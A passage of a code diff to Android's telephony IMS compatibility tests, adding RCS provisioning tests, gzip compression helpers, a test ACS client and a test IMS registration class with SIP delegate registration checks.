+        assertEquals(res, RCS_CONFIG_CB_RESET);
+
+        res = waitForIntResult(acsQueue);
+        assertEquals(res, TestAcsClient.ACTION_TRIGGER_AUTO_CONFIG);
+    }
+
+    @Test
+    public void testProvisioningManagerSetRcsClientConfiguration() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        RcsClientConfiguration rcc = new RcsClientConfiguration(
+                "1.0", "UP_1.0", "Android", "RCSAndrd-1.0");
+        triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        LinkedBlockingQueue<Integer> actionQueue = new LinkedBlockingQueue<>();
+        TestAcsClient.getInstance().setActionQueue(actionQueue);
+
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            provisioningManager.setRcsClientConfiguration(rcc);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        int res = waitForIntResult(actionQueue);
+        assertEquals(res, TestAcsClient.ACTION_SET_RCS_CLIENT_CONFIG);
+        assertEquals(rcc, TestAcsClient.getInstance().getRcc());
+    }
+
+    @Test
+    public void testProvisioningManagerRcsVolteSingleRegistrationCapable() throws Exception {
+        boolean isSingleRegistrationEnabledOnDevice =
+                sServiceConnector.getDeviceSingleRegistrationEnabled();
+        ProvisioningManager provisioningManager =
+                ProvisioningManager.createForSubscriptionId(sTestSub);
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(
+                CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, false);
+        overrideCarrierConfig(bundle);
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            automan.adoptShellPermissionIdentity();
+            assertFalse(provisioningManager.isRcsVolteSingleRegistrationCapable());
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
+        overrideCarrierConfig(bundle);
+        try {
+            automan.adoptShellPermissionIdentity();
+            assertEquals(provisioningManager.isRcsVolteSingleRegistrationCapable(),
+                    isSingleRegistrationEnabledOnDevice);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        sServiceConnector.setDeviceSingleRegistrationEnabled(!isSingleRegistrationEnabledOnDevice);
+        try {
+            automan.adoptShellPermissionIdentity();
+            assertEquals(provisioningManager.isRcsVolteSingleRegistrationCapable(),
+                    !isSingleRegistrationEnabledOnDevice);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+    }
+
     private void verifyIntKey(ProvisioningManager pm,
             LinkedBlockingQueue<Pair<Integer, Integer>> intQueue, int key, int value)
             throws Exception {
@@ -1835,6 +2320,44 @@
                 sTestSlot, serviceSlot);
     }
 
+    private void triggerFrameworkConnectToImsServiceBindMmTelAndRcsFeature() throws Exception {
+        // Connect to the ImsService with the RCS feature.
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .build()));
+
+        // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        assertTrue("Did not receive createMmTelFeature", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_CREATE_MMTEL));
+        assertTrue("Did not receive MmTelFeature#onReady", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_MMTEL_READY));
+        assertNotNull("ImsService created, but ImsService#createMmTelFeature was not called!",
+                sServiceConnector.getCarrierService().getMmTelFeature());
+        int serviceSlot = sServiceConnector.getCarrierService().getMmTelFeature().getSlotIndex();
+        assertEquals("The slot specified for the test (" + sTestSlot + ") does not match the "
+                        + "assigned slot (" + serviceSlot + "+ for the associated MmTelFeature",
+                sTestSlot, serviceSlot);
+
+        // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        assertTrue("Did not receive createRcsFeature", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_CREATE_RCS));
+        assertTrue("Did not receive RcsFeature#onReady", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_RCS_READY));
+        // Make sure the RcsFeature was created in the test service.
+        assertNotNull("Device ImsService created, but TestDeviceImsService#createRcsFeature was not"
+                + "called!", sServiceConnector.getCarrierService().getRcsFeature());
+        assertTrue("Did not receive RcsFeature#setCapabilityExchangeEventListener",
+                sServiceConnector.getCarrierService().waitForLatchCountdown(
+                        TestImsService.LATCH_UCE_LISTENER_SET));
+        serviceSlot = sServiceConnector.getCarrierService().getRcsFeature().getSlotIndex();
+        assertEquals("The slot specified for the test (" + sTestSlot + ") does not match the "
+                        + "assigned slot (" + serviceSlot + "+ for the associated RcsFeature",
+                sTestSlot, serviceSlot);
+    }
+
     private void triggerFrameworkConnectToCarrierImsService() throws Exception {
         // Connect to the ImsService with the MmTel feature.
         assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
@@ -1854,6 +2377,42 @@
                 sTestSlot, serviceSlot);
     }
 
+    private ProvisioningManager.RcsProvisioningCallback buildRcsProvisioningCallback(
+            LinkedBlockingQueue<Integer> actionQueue,
+            LinkedBlockingQueue<RcsProvisioningCallbackParams> paramQueue) {
+        return new ProvisioningManager.RcsProvisioningCallback() {
+            @Override
+            public void onConfigurationChanged(byte[] configXml) {
+                actionQueue.offer(RCS_CONFIG_CB_CHANGED);
+                if (paramQueue != null) {
+                    RcsProvisioningCallbackParams params = new RcsProvisioningCallbackParams();
+                    params.mConfig = configXml;
+                    paramQueue.offer(params);
+                }
+            }
+
+            @Override
+            public void onAutoConfigurationErrorReceived(int code, String str) {
+                actionQueue.offer(RCS_CONFIG_CB_ERROR);
+                if (paramQueue != null) {
+                    RcsProvisioningCallbackParams params = new RcsProvisioningCallbackParams();
+                    params.mErrorCode = code;
+                    params.mErrorString = str;
+                    paramQueue.offer(params);
+                }
+            }
+
+            @Override
+            public void onConfigurationReset() {
+                actionQueue.offer(RCS_CONFIG_CB_RESET);
+            }
+
+            @Override
+            public void onRemoved() {
+                actionQueue.offer(RCS_CONFIG_CB_DELETE);
+            }
+        };
+    }
     // Waiting for ImsRcsManager to become public before implementing RegistrationManager,
     // Duplicate these methods for now.
     private void verifyRegistrationState(ImsRcsManager regManager, int expectedState)
@@ -1915,6 +2474,12 @@
         return result != null ? result : Integer.MAX_VALUE;
     }
 
+    private int waitForIntResult(LinkedBlockingQueue<Integer> queue, int timeout)
+            throws Exception {
+        Integer result = queue.poll(timeout, TimeUnit.MILLISECONDS);
+        return result != null ? result : Integer.MAX_VALUE;
+    }
+
     private static void overrideCarrierConfig(PersistableBundle bundle) throws Exception {
         CarrierConfigManager carrierConfigManager = InstrumentationRegistry.getInstrumentation()
                 .getContext().getSystemService(CarrierConfigManager.class);
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
index e691e51..bd73656 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
@@ -30,8 +30,13 @@
 
 import com.android.compatibility.common.util.ShellIdentityUtils;
 
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
 import java.util.List;
 import java.util.concurrent.Callable;
+import java.util.zip.GZIPInputStream;
+import java.util.zip.GZIPOutputStream;
 
 public class ImsUtils {
     public static final boolean VDBG = false;
@@ -46,6 +51,7 @@
     public static final int ITEM_COMPRESSED = 2001;
     // TODO Replace with a real sip message once that logic is in.
     public static final String TEST_TRANSACTION_ID = "z9hG4bK.TeSt";
+    public static final String TEST_CALL_ID = "testcall";
     public static final SipMessage TEST_SIP_MESSAGE = new SipMessage("A", "B", new byte[0]);
 
     public static boolean shouldTestTelephony() {
@@ -154,4 +160,55 @@
         }
         return false;
     }
+
+    /**
+     * compress the gzip format data
+     * @hide
+     */
+    public static byte[] compressGzip(byte[] data) {
+        if (data == null || data.length == 0) {
+            return data;
+        }
+        byte[] out = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream(data.length);
+            GZIPOutputStream gzipCompressingStream =
+                    new GZIPOutputStream(outputStream);
+            gzipCompressingStream.write(data);
+            gzipCompressingStream.close();
+            out = outputStream.toByteArray();
+            outputStream.close();
+        } catch (IOException e) {
+        }
+        return out;
+    }
+
+    /**
+     * decompress the gzip format data
+     * @hide
+     */
+    public static byte[] decompressGzip(byte[] data) {
+        if (data == null || data.length == 0) {
+            return data;
+        }
+        byte[] out = null;
+        try {
+            ByteArrayInputStream inputStream = new ByteArrayInputStream(data);
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            GZIPInputStream gzipDecompressingStream =
+                    new GZIPInputStream(inputStream);
+            byte[] buf = new byte[1024];
+            int size = gzipDecompressingStream.read(buf);
+            while (size >= 0) {
+                outputStream.write(buf, 0, size);
+                size = gzipDecompressingStream.read(buf);
+            }
+            gzipDecompressingStream.close();
+            inputStream.close();
+            out = outputStream.toByteArray();
+            outputStream.close();
+        } catch (IOException e) {
+        }
+        return out;
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
index 3f786fa..24d48ab 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
@@ -21,6 +21,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.fail;
 
 import android.content.BroadcastReceiver;
@@ -54,6 +55,7 @@
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -298,6 +300,7 @@
                 + "false", result);
     }
 
+    @Ignore("Disabling for integration b/175766573")
     @Test
     public void testIsSupportedWithSipTransportCapableOnlyRcs() throws Exception {
         if (!ImsUtils.shouldTestImsService()) {
@@ -306,7 +309,12 @@
         PersistableBundle b = new PersistableBundle();
         b.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
         overrideCarrierConfig(b);
+
         assertTrue(sServiceConnector.connectCarrierImsServiceLocally());
+        // set SipTransport as supported with RCS only attached.
+        sServiceConnector.getCarrierService().addCapabilities(
+                ImsService.CAPABILITY_SIP_DELEGATE_CREATION);
+        sServiceConnector.getCarrierService().setSipTransportImplemented();
 
         ImsFeatureConfiguration c = getConfigForRcs();
         assertTrue(sServiceConnector.triggerFrameworkConnectionToCarrierImsService(c));
@@ -318,7 +326,7 @@
                         ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
         assertNotNull(result);
         assertFalse("isSupported should return false in the case that the ImsService is only "
-                + "attached for MMTEL and not MMTEL and RCS", result);
+                + "attached for RCS and not MMTEL and RCS", result);
     }
 
 
@@ -405,6 +413,7 @@
         connectTestImsServiceWithSipTransportAndConfig();
 
         TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        TestImsRegistration imsReg = sServiceConnector.getCarrierService().getImsRegistration();
         SipDelegateManager manager = getSipDelegateManager();
         DelegateRequest request = getDefaultRequest();
         TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
@@ -416,6 +425,12 @@
         delegateConn.sendMessageAndVerifyFailure(ImsUtils.TEST_SIP_MESSAGE,
                 SipDelegateManager.MESSAGE_FAILURE_REASON_DELEGATE_DEAD);
 
+        delegateConn.triggerFullNetworkRegistration(manager, 403, "FORBIDDEN");
+        // wait 5 seconds, this should not return.
+        TestImsRegistration.NetworkRegistrationInfo info =
+                imsReg.getNextFullNetworkRegRequest(5000);
+        assertNull("If there is no valid SipTransport, this should not be called", info);
+
         destroySipDelegateConnectionNoDelegate(manager, delegateConn);
     }
 
@@ -428,6 +443,7 @@
         connectTestImsServiceWithSipTransportAndConfig();
 
         TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        TestImsRegistration regImpl = sServiceConnector.getCarrierService().getImsRegistration();
         SipDelegateManager manager = getSipDelegateManager();
         DelegateRequest request = getDefaultRequest();
         TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
@@ -435,6 +451,7 @@
         TestSipDelegate delegate = createSipDelegateConnectionAndVerify(manager, delegateConn,
                 transportImpl, Collections.emptySet(), 0);
         assertNotNull(delegate);
+        verifyUpdateRegistrationCalled(regImpl);
 
         SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
                 .addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
@@ -445,10 +462,14 @@
         sendMessageAndVerifyAck(delegateConn, delegate);
         receiveMessageAndVerifyAck(delegateConn, delegate);
 
+        // Ensure requests to perform a full network re-registration work properly.
+        verifyFullRegistrationTriggered(manager, regImpl, delegateConn);
+
         destroySipDelegateAndVerify(manager, transportImpl, delegateConn, delegate,
                 request.getFeatureTags());
         assertEquals("There should be no more delegates", 0,
                 transportImpl.getDelegates().size());
+        verifyUpdateRegistrationCalled(regImpl);
     }
 
     @Test
@@ -509,6 +530,7 @@
         assertTrue(sServiceConnector.setDefaultSmsApp());
         connectTestImsServiceWithSipTransportAndConfig();
         TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        TestImsRegistration regImpl = sServiceConnector.getCarrierService().getImsRegistration();
         SipDelegateManager manager = getSipDelegateManager();
 
         DelegateRequest request1 = getChatOnlyRequest();
@@ -532,6 +554,7 @@
         TestSipDelegate delegate2 = createSipDelegateConnectionAndVerify(manager, delegateConn2,
                 transportImpl, Collections.emptySet(), 1);
         assertNotNull(delegate2);
+        verifyUpdateRegistrationCalled(regImpl);
         Set<FeatureTagState> deniedSet = generateDeniedSetFromRequest(request1.getFeatureTags(),
                 request2.getFeatureTags(),
                 SipDelegateManager.DENIED_REASON_IN_USE_BY_ANOTHER_DELEGATE);
@@ -548,6 +571,7 @@
         verifySipDelegateDestroyed(transportImpl, delegateConn2, delegate2, registeredTags2,
                 DelegateRegistrationState.DEREGISTERING_REASON_FEATURE_TAGS_CHANGING);
         delegate2 = getSipDelegate(transportImpl, Collections.emptySet(), 0);
+        verifyUpdateRegistrationCalled(regImpl);
         verifyRegisteredAndSendSipConfig(delegateConn2, delegate2, request2.getFeatureTags(),
                 Collections.emptySet(), c);
 
@@ -566,6 +590,7 @@
         connectTestImsServiceWithSipTransportAndConfig();
 
         TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        TestImsRegistration regImpl = sServiceConnector.getCarrierService().getImsRegistration();
         SipDelegateManager manager = getSipDelegateManager();
         DelegateRequest request = getDefaultRequest();
         TestSipDelegateConnection delegateConn = new TestSipDelegateConnection(request);
@@ -574,8 +599,12 @@
         createSipDelegateConnectionNoDelegateExpected(manager, delegateConn, transportImpl);
 
         // Make this app the DMA
+        regImpl.resetLatch(TestImsRegistration.LATCH_TRIGGER_DEREGISTRATION, 1);
         assertTrue(sServiceConnector.setDefaultSmsApp());
+        assertTrue(regImpl.waitForLatchCountDown(TestImsRegistration.LATCH_TRIGGER_DEREGISTRATION,
+                ImsUtils.TEST_TIMEOUT_MS));
         TestSipDelegate delegate = getSipDelegate(transportImpl, Collections.emptySet(), 0);
+        verifyUpdateRegistrationCalled(regImpl);
         SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
                 .addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
                 .build();
@@ -596,6 +625,7 @@
         assertTrue(sServiceConnector.setDefaultSmsApp());
         connectTestImsServiceWithSipTransportAndConfig();
         TestSipTransport transportImpl = sServiceConnector.getCarrierService().getSipTransport();
+        TestImsRegistration regImpl = sServiceConnector.getCarrierService().getImsRegistration();
         SipDelegateManager manager = getSipDelegateManager();
 
         DelegateRequest request = getDefaultRequest();
@@ -603,6 +633,7 @@
         TestSipDelegate delegate = createSipDelegateConnectionAndVerify(manager, delegateConn,
                 transportImpl, Collections.emptySet(), 0);
         assertNotNull(delegate);
+        verifyUpdateRegistrationCalled(regImpl);
 
         SipDelegateImsConfiguration c = new SipDelegateImsConfiguration.Builder(1)
                 .addString(SipDelegateImsConfiguration.KEY_SIP_CONFIG_IMEI_STRING, "123")
@@ -613,7 +644,10 @@
 
         // Move DMA to another app, we should receive a registration update.
         delegateConn.setOperationCountDownLatch(1);
+        regImpl.resetLatch(TestImsRegistration.LATCH_TRIGGER_DEREGISTRATION, 1);
         sServiceConnector.restoreDefaultSmsApp();
+        assertTrue(regImpl.waitForLatchCountDown(TestImsRegistration.LATCH_TRIGGER_DEREGISTRATION,
+                ImsUtils.TEST_TIMEOUT_MS));
         delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
         // we should get another reg update with all tags denied.
         delegateConn.setOperationCountDownLatch(1);
@@ -627,6 +661,7 @@
         // There should not be any delegates left, as the only delegate should have been cleaned up.
         assertEquals("SipDelegate should not have any delegates", 0,
                 transportImpl.getDelegates().size());
+        verifyUpdateRegistrationCalled(regImpl);
 
         destroySipDelegateConnectionNoDelegate(manager, delegateConn);
     }
@@ -827,11 +862,33 @@
                 .collect(Collectors.toSet());
     }
 
+    private void verifyUpdateRegistrationCalled(TestImsRegistration regImpl) {
+        regImpl.resetLatch(TestImsRegistration.LATCH_UPDATE_REGISTRATION, 1);
+        // it is okay to reset and wait here (without race conditions) because there is a
+        // second delay between triggering update registration and the latch being triggered.
+        assertTrue(regImpl.waitForLatchCountDown(TestImsRegistration.LATCH_UPDATE_REGISTRATION,
+                ImsUtils.TEST_TIMEOUT_MS));
+    }
+
+    private void verifyFullRegistrationTriggered(SipDelegateManager manager,
+            TestImsRegistration regImpl, TestSipDelegateConnection delegateConn) throws Exception {
+        delegateConn.verifyDelegateCreated();
+        delegateConn.triggerFullNetworkRegistration(manager, 403, "FORBIDDEN");
+        TestImsRegistration.NetworkRegistrationInfo info =
+                regImpl.getNextFullNetworkRegRequest(ImsUtils.TEST_TIMEOUT_MS);
+        assertNotNull("full registration requested, but ImsRegistrationImplBase "
+                + "implementation did not receive a request.", info);
+        assertEquals(403, info.sipCode);
+        assertEquals("FORBIDDEN", info.sipReason);
+    }
+
     private void sendMessageAndVerifyAck(TestSipDelegateConnection delegateConn,
             TestSipDelegate delegate) throws Exception {
         // Send a message and ensure it gets received on the other end as well as acked
         delegateConn.sendMessageAndVerifyCompletedSuccessfully(ImsUtils.TEST_SIP_MESSAGE);
         delegate.verifyMessageSend(ImsUtils.TEST_SIP_MESSAGE);
+        delegateConn.sendCloseDialog(ImsUtils.TEST_CALL_ID);
+        delegate.verifyCloseDialog(ImsUtils.TEST_CALL_ID);
         // send a message and notify connection that it failed
         delegate.setSendMessageDenyReason(
                 SipDelegateManager.MESSAGE_FAILURE_REASON_NETWORK_NOT_AVAILABLE);
@@ -873,15 +930,6 @@
         return b.build();
     }
 
-    private DelegateRegistrationState getDeregistedState(Set<String> deregisterTags,
-            int reason) {
-        DelegateRegistrationState.Builder b = new DelegateRegistrationState.Builder();
-        for (String t : deregisterTags) {
-            b.addDeregisteredFeatureTag(t, reason);
-        }
-        return b.build();
-    }
-
     private void connectTestImsServiceWithSipTransportAndConfig() throws Exception {
         PersistableBundle b = new PersistableBundle();
         b.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestAcsClient.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestAcsClient.java
new file mode 100644
index 0000000..15506fa
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestAcsClient.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.RcsClientConfiguration;
+
+import java.util.concurrent.LinkedBlockingQueue;
+
+public class TestAcsClient {
+    public static int ACTION_SET_RCS_CLIENT_CONFIG = 1;
+    public static int ACTION_TRIGGER_AUTO_CONFIG = 2;
+    public static int ACTION_CONFIG_CHANGED = 3;
+
+    private LinkedBlockingQueue<Integer> mActionQueue;
+    private RcsClientConfiguration mRcc;
+    private byte[] mConfig;
+
+    private static TestAcsClient sInstance;
+
+    private TestAcsClient() {}
+
+    public static TestAcsClient getInstance() {
+        if (sInstance == null) {
+            sInstance = new TestAcsClient();
+        }
+        return sInstance;
+    }
+
+    public void onSetRcsClientConfiguration(RcsClientConfiguration rcc) {
+        if (mActionQueue != null) {
+            mActionQueue.offer(ACTION_SET_RCS_CLIENT_CONFIG);
+        }
+        mRcc = rcc;
+    }
+
+    public void onTriggerAutoConfiguration() {
+        if (mActionQueue != null) {
+            mActionQueue.offer(ACTION_TRIGGER_AUTO_CONFIG);
+        }
+    }
+
+    public void onConfigChanged(byte[] config, boolean isCompressed) {
+        if (mActionQueue != null) {
+            mActionQueue.offer(ACTION_CONFIG_CHANGED);
+        }
+        mConfig = isCompressed ? ImsUtils.decompressGzip(config) : config;
+    }
+
+    public void setActionQueue(LinkedBlockingQueue<Integer> actionQueue) {
+        mActionQueue = actionQueue;
+    }
+
+    public RcsClientConfiguration getRcc() {
+        return mRcc;
+    }
+
+    public byte[] getConfig() {
+        return mConfig;
+    }
+
+    public void reset() {
+        mActionQueue = null;
+        mRcc = null;
+        mConfig = null;
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
index 00c5a1b..494372f 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
@@ -16,6 +16,7 @@
 
 package android.telephony.ims.cts;
 
+import android.telephony.ims.RcsClientConfiguration;
 import android.telephony.ims.stub.ImsConfigImplBase;
 
 import java.util.HashMap;
@@ -50,7 +51,16 @@
 
     @Override
     public void notifyRcsAutoConfigurationReceived(byte[] content, boolean isCompressed) {
-        int item = isCompressed ? ImsUtils.ITEM_COMPRESSED : ImsUtils.ITEM_NON_COMPRESSED;
-        setConfig(item, new String(content));
+        TestAcsClient.getInstance().onConfigChanged(content, isCompressed);
+    }
+
+    @Override
+    public void setRcsClientConfiguration(RcsClientConfiguration rcc) {
+        TestAcsClient.getInstance().onSetRcsClientConfiguration(rcc);
+    }
+
+    @Override
+    public void triggerAutoConfiguration() {
+        TestAcsClient.getInstance().onTriggerAutoConfiguration();
     }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsRegistration.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsRegistration.java
new file mode 100644
index 0000000..afdd3d1
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsRegistration.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.stub.ImsRegistrationImplBase;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class TestImsRegistration extends ImsRegistrationImplBase {
+
+    public static class NetworkRegistrationInfo {
+        public final int sipCode;
+        public final String sipReason;
+        NetworkRegistrationInfo(int code, String reason) {
+            sipCode = code;
+            sipReason = reason;
+        }
+    }
+
+    public static final int LATCH_UPDATE_REGISTRATION = 0;
+    public static final int LATCH_TRIGGER_DEREGISTRATION = 1;
+    private static final int LATCH_MAX = 2;
+    private static final CountDownLatch[] sLatches = new CountDownLatch[LATCH_MAX];
+    static {
+        for (int i = 0; i < LATCH_MAX; i++) {
+            sLatches[i] = new CountDownLatch(1);
+        }
+    }
+
+    private final LinkedBlockingQueue<NetworkRegistrationInfo> mPendingFullRegistrationRequests =
+            new LinkedBlockingQueue<>();
+
+    @Override
+    public void triggerFullNetworkRegistration(int sipCode, String sipReason) {
+        mPendingFullRegistrationRequests.offer(new NetworkRegistrationInfo(sipCode, sipReason));
+    }
+
+    @Override
+    public void updateSipDelegateRegistration() {
+        synchronized (sLatches) {
+            sLatches[LATCH_UPDATE_REGISTRATION].countDown();
+        }
+    }
+
+    @Override
+    public void triggerSipDelegateDeregistration() {
+        synchronized (sLatches) {
+            sLatches[LATCH_TRIGGER_DEREGISTRATION].countDown();
+        }
+    }
+
+    public NetworkRegistrationInfo getNextFullNetworkRegRequest(int timeoutMs) throws Exception {
+        return mPendingFullRegistrationRequests.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    public void resetLatch(int latchIndex, int newCount) {
+        synchronized (sLatches) {
+            sLatches[latchIndex] = new CountDownLatch(newCount);
+        }
+    }
+
+    public boolean waitForLatchCountDown(int latchIndex, int timeoutMs) {
+        CountDownLatch latch;
+        synchronized (sLatches) {
+            latch = sLatches[latchIndex];
+        }
+        while (latch.getCount() > 0) {
+            try {
+                return latch.await(timeoutMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) { }
+        }
+        return true;
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
index 029b8c3..912d95c 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
@@ -43,7 +43,8 @@
 
     private static final String TAG = "GtsImsTestImsService";
 
-    private static ImsRegistrationImplBase sImsRegistrationImplBase = new ImsRegistrationImplBase();
+    private static final TestImsRegistration sImsRegistrationImplBase =
+            new TestImsRegistration();
 
     private TestRcsFeature mTestRcsFeature;
     private TestMmTelFeature mTestMmTelFeature;
@@ -68,7 +69,9 @@
     public static final int LATCH_RCS_READY = 8;
     public static final int LATCH_MMTEL_CAP_SET = 9;
     public static final int LATCH_RCS_CAP_SET = 10;
-    private static final int LATCH_MAX = 11;
+    public static final int LATCH_UCE_LISTENER_SET = 11;
+    public static final int LATCH_UCE_REQUEST_PUBLISH = 12;
+    private static final int LATCH_MAX = 13;
     protected static final CountDownLatch[] sLatches = new CountDownLatch[LATCH_MAX];
     static {
         for (int i = 0; i < LATCH_MAX; i++) {
@@ -85,6 +88,12 @@
     interface CapabilitiesSetListener {
         void onSet();
     }
+    interface RcsCapabilitySetListener {
+        void onSet();
+    }
+    interface DeviceCapPublishListener {
+        void onPublish();
+    }
 
     // This is defined here instead TestImsService extending ImsService directly because the GTS
     // tests were failing to run on pre-P devices. Not sure why, but TestImsService is loaded
@@ -158,8 +167,20 @@
                             synchronized (mLock) {
                                 countDownLatch(LATCH_RCS_CAP_SET);
                             }
+                        },
+                        () -> {
+                            synchronized (mLock) {
+                                countDownLatch(LATCH_UCE_LISTENER_SET);
                         }
-                        );
+                        });
+
+                // Setup UCE request listener
+                mTestRcsFeature.setDeviceCapPublishListener(() -> {
+                    synchronized (mLock) {
+                        countDownLatch(LATCH_UCE_REQUEST_PUBLISH);
+                    }
+                });
+
                 if (mSetNullRcsBinding) {
                     return null;
                 }
@@ -348,7 +369,7 @@
         }
     }
 
-    public ImsRegistrationImplBase getImsRegistration() {
+    public TestImsRegistration getImsRegistration() {
         synchronized (mLock) {
             return sImsRegistrationImplBase;
         }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java
new file mode 100644
index 0000000..cdc1392
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.ImsException;
